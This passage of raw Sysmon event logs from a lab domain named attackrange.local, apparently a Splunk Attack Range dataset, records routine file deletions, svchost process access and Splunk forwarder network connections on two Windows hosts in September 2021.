Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1C26A5B6961BDF0050FFF927265DB437,SHA256=59C00D2FA58265AA2576F96D7CECFA64256DD89FC139D4C1680A65D1BBED6917,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018603Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:47.882{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5DDF10927614AF00E9066CFCE2D7516,SHA256=A93C60566AB93F242904939D224C331A02BD54EBAA2A1C5E16811D3B08027B34,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:47.492{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C80924BB700DEB66C2EDDD7D2A57C320,SHA256=6EEE9FE1EEAF6AFA16B011CE93F1F5CFD463D8BEE5C34A9E4110FFEA1D119658,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000057868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:47.055{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:47.055{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:47.055{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000018605Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:48.897{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2AED58C849BDC9D029EB03CC9435C736,SHA256=F6D2AB741184EB847C7065836BCF4A219CD4243BFE1A5959F3DA12773F2757B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:48.539{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2AD0603F1165F0DE22CDE06084D04189,SHA256=EEE180C8645773C0E5069831B990744ABAC5E9B09C9D411CE9168862A947E7C0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018604Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:47.482{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50436-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018606Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:49.913{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DA852C688BC35B6847534902139F1FF,SHA256=BDEFC61ECC074AAE37CED65FC77F551A44A3E2EF2E4E7EE259316473AE31F079,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:49.617{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48741E33A5C39417A6E921CDED7FC3E8,SHA256=118CCFDD8BECA55E79AFE9C3C49A8EA2B83FBB33B00A7B7DFB27C1D0D8FD0218,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018607Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:50.928{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CD7E6A64EDACCD3DFA7CD088A67F65D,SHA256=47C6670B9721A534CE527F3A28DBF0121C1451506726189DED04DC6FAAEBC5B7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:50.758{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5FD04BF7353E838AC5934761F9809FA,SHA256=0F7807D0C96419E68DE3B63AF770EBB901B6F1B804080A6CE60332BE2852A2F0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018608Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:51.940{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AE686B71CBC68E237A2C230C597C89C,SHA256=ACF11BFA8D84FCC654DBB8A63CF26E45D32AC3C49CBDA24E4CB4384C47EB956E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:51.769{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD16E592C3124F47729AEC0F08D0D2B4,SHA256=2D95D25C09F732CDFEC23C0BAB29018E22CC507BA932057A281F564BFCEF531C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:48.404{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63218-false10.0.1.12-8000- 23542300x800000000000000018609Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:52.987{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A4727AF1CE8735CBE554ACFC1CCAF232,SHA256=31A4029E13D74206A7A05C309FF4A28E8202A277CD6A8BB251624039B7A0E566,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:52.785{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ABCB1585B157EC1106D8E38A6E4C8AB1,SHA256=827EE93B822BE13ED9A4AE41424952ABE8E5D7A72F5A011E56AB4C5B30F71830,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:53.800{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3917D1123BC91AA9A3DBACA9DD09626,SHA256=2D60E7734D85AFAA439269BF0C02BA218D7BCA0D869B10B9DAC3FAACC580BB82,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018611Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:53.540{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50437-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018610Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:54.018{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF45BB9BAB2C310702B87C3FAC137DF9,SHA256=48CC41CA017C22B7301D641B120C6EC19060253E7BC3A5675D2F6E8FCB443F89,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:55.035{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF664B9232E9E9AC5E98D3CE317C4609,SHA256=7B1E176A348DACEF05EE910D4FA51F83E6406C9D08B121F28040D7151E9D084F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018613Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:55.300{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018612Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:55.034{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DBF0BA121FD5E6B8B9C1D6C2145AA5DE,SHA256=EB3FD89E7C480391C5B9D99225C93EB4154A3157C687987D972EDDC3658C2B5E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000057881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:56.129{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:56.129{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:56.129{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000057878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:56.050{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BC77B7562FD4E2E984D234774BC19DB,SHA256=0EDEF23C410B5F75E3577C171BB090A802AFDFE783A8B9FC0D3DE5D366869756,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018614Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:56.050{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5A57733A9C86D38E001685D5C6DE90D,SHA256=134021A5357D2C60B0F46E1ED2800E87813C6F1065332E0DFBDEA1D167C8C124,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:54.368{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63219-false10.0.1.12-8000- 23542300x800000000000000057882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:57.285{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F16AA9A67FC6DAE68D095FDAA909209,SHA256=2DBDFE911156BAD316A18C8DBF815E70653DC1EDA608ABAF5D766FBE75A270C8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018615Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:57.065{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2CB9F20270D78F078BD9D9EF8DBF280A,SHA256=9FB29E8C6764E9F5918A7ACA748D1BBE6714F9C3E86E11843A244A4773F622E8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:58.441{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF877F5E2061D68556C2AF25A2DF6174,SHA256=113544FB77EBC6B0D16E59690D258B4184BCA373BD012E0DDC23041DF37CA9C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018617Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:58.065{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0DE0C995A1615BB39F4FA48792FBBFB,SHA256=992046E1B4CD3B0B16D12938405F0DFE544281301D87E291371747B50383F670,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018616Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:55.603{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50438-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000057887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:59.675{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=668A5712919D6EB139B3D133EBB4017E,SHA256=00B7512C4A16C1FCB6994CF3C0D90581FAA6301A0D6B613A939CD7FB4A2D3D8A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018618Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:59.081{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B887B0DBD438725549027622B1278A4,SHA256=F534F425D60DD33B740C1BF727432621D0E5FC8C1E24F4D28AB71B1AD29BEFBA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:59.644{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0226D5A366EE12044E0989A9011F2B0A,SHA256=DCE571981167FB06DC54AB83C0EBFBE593DCC6D62CC21D758CD953B41DC1854C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:59.644{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DF947471F12D8BA1779CD8E77A1B2B40,SHA256=78DCB8C2EA98696FCAE212B4C251027AA3856BD803432FCCF7251A7580C2AE75,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:00.738{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C228363F7CCB571DBEEC9A216C01F27F,SHA256=731B513313EF8B80EB733D83103B2068EC6BA1BE650C2F902497F710B6AE19D1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018619Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:00.096{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F84E533290BDE07E91F2E456CFD5127D,SHA256=78673B6A143F8F857923720CABE6FCA63871FFB58D92D4D6C80533EFE9E58DC8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:57.775{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63220-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000057890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:57.775{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63220-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000057889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:57.466{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.255-138netbios-dgmfalse10.0.1.14win-dc-387.attackrange.local138netbios-dgm 354300x800000000000000057888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:57.466{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMudptruefalse10.0.1.14win-dc-387.attackrange.local138netbios-dgmfalse10.0.1.255-138netbios-dgm 23542300x800000000000000057893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:01.739{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD3076EA98B72D82BCFBD29F082D3CFE,SHA256=27A1AE2ACF63DCDA01DCF070005DEFD79009661C65D5EC5B17D626F1DEA4F207,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018621Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:59.509{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50439-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018620Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:01.112{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B063A10BE57223C4EEB5A8A5611DE5EC,SHA256=730B94FC2DDC1282DF34E1C4ADAB23C6358D0B7D9C4A57AE03805D0AFEE0025F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:02.739{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=31D3399E30238A687D391B2280BE5EA2,SHA256=939F981BBF272E6C2456AF67EDF3B8EF11B041C181B80610C6B456526F692677,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018623Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:02.409{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=672E64FE501EE9610B1B5813FAC01006,SHA256=261C1CD3F139C1022F47D63F1AAC5DC82029C8C7CF358AAFF4EA7680960E259D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018622Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:02.128{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 